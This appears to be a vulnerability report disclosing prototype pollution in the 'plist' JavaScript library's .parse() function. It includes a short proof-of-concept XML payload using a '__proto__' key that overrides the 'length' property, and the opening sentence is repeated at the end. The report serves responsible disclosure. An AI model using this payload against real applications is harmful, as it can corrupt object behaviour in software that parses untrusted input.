Hi, There's a prototype pollution in .parse() related to the xml that are being parsed in it. In the following example the prototype pollution will affect the length parameter.
var plist = require('plist');
var xml = `
<plist version="1.0">
<key>metadata</key>
<dict>
<key>bundle-identifier</key>
<string>com.company.app</string>
</dict>
</plist>`;
console.log(plist.parse(xml));
/**
* * * * * * * * * * * * * * * * * * * * * * * * * *
* * * * END OF THE NORMAL CODE EXAMPLE! * * * * * *
* * * * * * * * * * * * * * * * * * * * * * * * * *
**/
/**
* * * * * * * * * * * *
* PROTOTYPE POLLUTION *
* * * * * * * * * * * *
**/
var xmlPollution = `
<plist version="1.0">
<dict>
<key>__proto__</key>
<dict>
<key>length</key>
<string>polluted</string>
</dict>
</dict>
</plist>`;
console.log(plist.parse(xmlPollution).length); // polluted
Hi, There's a prototype pollution in .parse() related to the xml that are being parsed in it. In the following example the prototype pollution will affect the
lengthparameter.